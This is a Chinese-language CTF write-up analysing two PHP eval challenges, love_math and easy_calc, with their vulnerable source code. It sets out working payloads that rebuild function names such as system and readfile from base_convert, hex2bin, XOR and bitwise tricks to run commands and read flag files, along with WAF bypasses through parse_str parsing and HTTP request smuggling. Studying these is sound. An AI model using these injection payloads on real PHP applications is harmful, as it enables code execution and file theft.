CISCN love_math和roarctf的easy_clac學習分析

Love_math

題目源碼:php

<?php 
error_reporting(0); 
//據說你很喜歡數學,不知道你是否愛它賽過愛flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太長了不會算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("請不要輸入奇奇怪怪的字符"); 
        } 
    } 
    //經常使用數學函數http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("請不要輸入奇奇怪怪的函數"); 
        } 
    } 
    //幫你算出答案 
    eval('echo '.$content.';'); 
}

 這道題又讓我學到了不少姿式,經過base_convert能夠任意進制轉換,能夠經過講10進制轉36進制,轉出a-z的符號,再經過拼接實現任意繞過執行任意代碼。html

這裏附上Smile師傅的總結love_math題解前端

題目分析

<?php 
error_reporting(0); 
//據說你很喜歡數學,不知道你是否愛它賽過愛flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太長了不會算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("請不要輸入奇奇怪怪的字符"); 
        } 
    } 
    //經常使用數學函數http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("請不要輸入奇奇怪怪的函數"); 
        } 
    } 
    //幫你算出答案 
    eval('echo '.$content.';'); 
}

  

能夠看到題目限制了參數的長度要小於80,且不能包含空格、製表符、換行、單雙引號、反引號、[]。而且輸入的字符串須要爲$whitelist中的函數。
最終會執行 eval('echo '.$content.';');python

既然想要getshell,咱們必需要可以獲取任意字符串。因爲單雙引號被ban掉了,咱們沒法從函數名中提取字符串。所以咱們只能想辦法從函數的返回結果中獲取。git

經過翻閱文檔,咱們發現base_convert函數能夠返回任意字母,須要注意它沒法返回_ *等特殊字符。
image.png
image.png
成功執行
image.png
執行系統命令system('ls')
image.png
如今咱們須要想辦法讀取flag.php的內容,三條路:
一、使用php函數readfile等函數讀取文件,可是須要flag.php中的.
二、使用system等命令執行函數配合通配符*讀取文件,可是須要*
三、使用$_GET全局變量手動傳入參數getshell。github

上面的三種方法都創建在字符長度小於80的條件下。web

方法1

爲了縮短字符長度,咱們能夠將函數base_convert賦值給一個短變量名,因爲白名單的限制,咱們最少須要兩個字符,即$pishell

($pi=base_convert)(2146934604002,10,36)('flag.php');

咱們須要異或出.而後與flag和php拼接到一塊兒,傳入readfile。
本地搭建環境fuzzapache

<?php $a = $_GET['a']; $b = $_GET['b']; echo $a^$b; 

image.png
發現沒法異或出.
可是咱們發現dechex函數能夠把10進制轉換爲16進制,咱們能夠再異或出hex2bin,來獲取任意ASCII字符。
image.png後端

最終payload

($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));

很明顯,超長了
image.png
本地測試下在沒有長度限制下,是否能夠讀取
image.png

方法2

一樣的,咱們fuzz發現沒法異或出*,須要藉助hex2bin函數。
system

php > echo base_convert('system',36,10);
1751504350

cat *的16進製爲636174202a

 

 最初payload

($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))

成功小於80
image.png
image.png

image.png

方法3

這個思路來自xq17和shadow師傅,已通過本人贊成。

剛開始咱們知道能夠異或出_。而且$沒有被waf,所以咱們可使用$_GET全局變量手動傳入參數getshell。
雖然[]被過濾,咱們依然可使用{}來提取數組中的值。
image.png
經過fuzz,咱們能夠獲得

1^n=_; 5^r=G; 1^t=E; 7^c=T

image.png
image.png
image.png

不難構造出
$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
image.png

image.png

其實還有種方法就是利用getallheaders方法,由於是apache中間件,因此能夠用getallheaders方法

方法4

經過getallheaders構造可控headers,system執行。來自先知社區的ROIS WP

那麼多數學函數,實際上惟一能用的只有進制轉換類,即base_convertdechex,經過其能導出[0-9a-z]在內的字符。

通過一大堆失敗的實驗,如:

// phpinfo();
(base_convert(55490343972,10,36))();

 

// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));

  

// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});

最後使用system(getallheaders(){9}) 

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

 

easy_clac

題目改編自Love_math,題目的難點在於設置的waf,限制了字符串,只能數字通行。在buuctf平臺復現

 

 calc.php題目源碼:

<?php 
error_reporting(0); 
if(!isset($_GET['num'])){ 
    show_source(__FILE__); 
}else{ 
        $str = $_GET['num']; 
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; 
        foreach ($blacklist as $blackitem) { 
                if (preg_match('/' . $blackitem . '/m', $str)) { 
                        die("what are you want to do?"); 
                } 
        } 
        eval('echo '.$str.';'); 
} 
?> 

與love_math仍是有本質區別的,沒有限制數學函數,而且過濾了$,^等。

那咱們能夠經過~取反來嘗試讀取當前目錄。

發現輸入字符會403,可是輸入數字卻能夠正常執行。結合題目給的源碼,設置了waf用來截斷字符,通行數字。

這裏經過三篇文章學習到了一些繞過方法,一二篇都是parse_str的,經過傳參php的字符串解析問題,首發於先知社區。第三篇是http走私攻擊

  1. 利用PHP函數parse_str繞過IDS、IPS和WAF
  2. 利用PHP的字符串解析特性Bypass
  3. 協議層的攻擊——HTTP請求走私

方法一

 

 這裏由於限制了單引號,所以咱們仍是能夠用取反操做,直接不須要單引號,轉化爲字符串。來嘗試讀取目錄

var_dump(scandir('.')) 
var_dump(scandir((~%D1)))

 

在嘗試讀下根目錄

 

嘗試讀取f1agg文件

原本想用system()直接讀的,disable_funcionts禁了

 

 用readfile讀取f1agg

 

還有種方法就是仍是用數學函數來實現,payload:

base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))

方法二

http走私是因爲前端代理服務器和後端源服務器之間的一些差別致使請求走私。

經過CL-CL的方法來執行

 

 

利用CL-TE或者TE-CL

根據個人理解,其實對於這道題都同樣,前端代理和後端源都會執行一遍get傳參,前端代理有waf,後端源執行返回正常的。

 

可能個人理解有所偏頗,可是知道而且能理解就行,不要太鑽牛角尖。

後面的步驟與方法一 同樣

 

這裏附上很神奇payload:

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))))

學習文章:https://github.red/roarctf-web-writeup/#easy_calc  

相關文章
相關標籤/搜索